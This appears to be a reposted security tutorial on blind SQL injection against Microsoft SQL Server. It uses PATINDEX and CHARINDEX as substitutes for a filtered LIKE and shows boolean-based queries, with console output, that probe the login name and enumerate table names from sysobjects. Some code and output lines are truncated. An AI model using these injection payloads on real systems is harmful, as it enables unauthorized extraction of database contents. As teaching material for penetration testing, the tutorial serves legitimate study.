Introduction to SQL Server Function to Perform Fuzzy Search

Summary

it is normal to filter data on a daily site. This method applies to filtering like, if, CASE, in other words, the injection does not work properly, but the page does not show back.

Replacement Method
DescriptionPATINDEX(‘%pattern%’, expression)
returns the position where the pattern string first appears in the expression. The starting value starts from 1. , 0 is not returned

this function is highly consistent with like and can be the same as like
use_% [] [^] search for wildcards
CHARINDEX(‘pattern’, expression)

returns the position where the pattern string first appears in the expression. The starting value starts from 1. , 0 is not returned

Test Data

1> select * from article;
2> go
3+----+-----------+-----------+
4| id | title | content |
5+----+-----------+-----------+
6| 1 | Test Title | Test Content |
7| 2 | Test Title 2 | Test Content 2 |
8+----+-----------+-----------+
9(2 rows affected)
1 # Test table data users;
2
3 sql server> select * from users;
4 +----+--------------+----------+
5 | id | username | password |
6 +----+--------------+----------+
7 | 1 | test-user-01 | 123456 |
8 | 2 | test-user-02 | 234567 |
9 +----+--------------+----------+
10 2 rows in set (0.00 sec)
1 sql server> SELECT system_user;
2 +-----------------------+
3 | field1 |
4 +-----------------------+
5 | sa |
6 +-----------------------+
7 1 row in set (0.00 sec)
1 sql server> select db_name();
2 +-----------------------+
3 | field1 |
4 +-----------------------+
5 | test |
6 +-----------------------+
7 1 row in set (0.00 sec)

PATINDEX()

Inquire user

SQL:select ‘test’ where patindex(‘%sa%’, system_user)>=1;

1 # system_user = sa
2
3 # the right situation
4 1> select 'test' where patindex('%sa%', system_user)>=1;
5 2> go
6 +-----+
7 | |
8 +-----+
9 | test |
10 +-----+
11 (1 rows affected)
12
13 # error case
​14 1> select 'test' where patindex('%aaa%', system_user)>=1;
15 2> go
16 +--+
17 | |
18 +--++--+(0 rows affected)

Query Table Name

note:

The name in OVER(Order by table_name) should be changed to a field in the test.dbo.sysobjects table

Querying different libraries can be done like this

For example, there are now test libraries and test2 libraries. Then you can call like this

  • test.dbo.sysobjects
  • test2.dbo.sysobjects

Querying different tables can be done like this

E.g:

  • Modify row_number>=1
  • Modify row_number>=2

Notice:

  • XType=’U’ means to get all user tables of a database;
  • XType=’S’ means to get all system tables of a database;

For example, now the query is the table name of the test library

SQL:select ‘test’ where patindex(‘%article%’, (select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType=’U’) as a where row_number=1))>=1

1 # first table name = article
2
3 # the right situation
4 1> SELECT
5 'test'
6 WHERE
7 patindex(
8 '%article%',
9 (
10 SELECT
11 name
12 FROM
13 (
14 SELECT
15 ROW_NUMBER () OVER (ORDER BY name) AS row_number,
16 name
17 FROM
18 test.dbo.sysobjects
19 WHERE
20 XType = 'U'
21 ) AS a
22 WHERE
23 row_number = 1
24 )
25 ) >= 1;
26 2> go
27 +-----+
28 | |
29 +-----+
30 | test |
31 +-----+
32 (1 rows affected)
33​
34​
35​
36 # wrong situation
37 1> SELECT
38 'test'
39 WHERE
40 patindex(
41 '%aaaaaaaaaaaaaa%',
42 (
43 SELECT
44 name
45 FROM
46 (
47 SELECT
48 ROW_NUMBER () OVER (ORDER BY name) AS row_number,
49 name
50 FROM
51 test.dbo.sysobjects
52 WHERE
53 XType = 'U'
54 ) AS a
55 WHERE
56 row_number = 1
57 )
58 ) >= 1;
59 2> go
60 +--+
61 | |
62 +--+
63 +--+
64 (0 rows affected)

CHARINDEX()

query user

SQL:select ‘test’ where charindex(‘s’, system_user)>=1

1 # system_user = sa
2
3 # right case
4 # system_user first character
5 1> select 'test' where charindex('s', system_user)>=1
6 2> go
7 +-----+
8 | |
9 +-----+
10 | test |
11 +-----+
12 (1 rows affected)
13
14 # system_user second character
15 1> select 'test' where charindex('sa', system_user)>=1
16 2> go
17 +-----+
18 | |
19 +-----+
20 | test |
21 +-----+
22 (1 rows affected)
23
​24
25 # wrong situation
26 1> select 'test' where charindex('aaaaa', system_user)>=1
27 2> go
28 +--+
29 | |
30 +--+
31 +--+
32 (0 rows affected)

query table name

SQL:select ‘test’ where charindex(‘ar’, (select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType=’U’) as a where row_number=1))>=1

1 # first table name = articl
2
3 # the right situation
4 # Query the first 1-2 characters
5 1> SELECT
6 'test'
7 WHERE
8 charindex(
9 'ar',
10 (
11 SELE
12 name
13 FROM
14 (
15 SELECT
16 ROW_NUMBER () OVER (ORDER BY name) AS row_number,
17 name
18 FROM
19 test.dbo.sysobjects
20 WHERE
21 XType = 'U'
22 ) AS a
23 WHERE
24 row_number = 1
25 )
26 ) >= 1;
27 2> go
28 +-----+
29 | |
30 +-----+
31 | test |
32 +-----+
33 (1 rows affected)
34
35
36 # Query 1-4 characters
37 1> SELECT
38 'test'
39 WHERE
40 charindex(
41 'arti',
42 (
43 SELECT
44 name
45 FROM
46 (
47 SELECT
48 ROW_NUMBER () OVER (ORDER BY name) AS row_number,
49 name
50 FROM
51 test.dbo.sysobjects
52 WHERE
53 XType = 'U'
54 ) AS a
55 WHERE
56 row_number = 1
57 )
58 ) >= 1;
59 2> go
60 +-----+
61 | |
62 +-----+
63 | te|
64 +-----+

The Original Article is Published at TUTORIALBOY

--

--

--

Our mission is to get you into information security. We'll introduce you to penetration testing and Red Teaming. We cover network testing, Active Directory.

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

From an app software developers “life”

Cyver Core Features: Our Pentest Management Platform

Heap and Priority Queue

Still Use Old Software? Beware.

✉️ You Get an Email

CURRENT STATUS FOR MULTIPLE NODES PROGRESS

Apply Policy using the API Manager API

How to crack interviews of Tech giants like Google, Amazon, Microsoft, FB etc?

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
TutorialBoy

TutorialBoy

Our mission is to get you into information security. We'll introduce you to penetration testing and Red Teaming. We cover network testing, Active Directory.

More from Medium

Triggering Time Delays to Identify Blind SQL Injection Vulnerability

Utilization of OWASP Tools to protect against XSS vulnerabilities

Exploiting IOTransfer insecure API CVE-2022–24562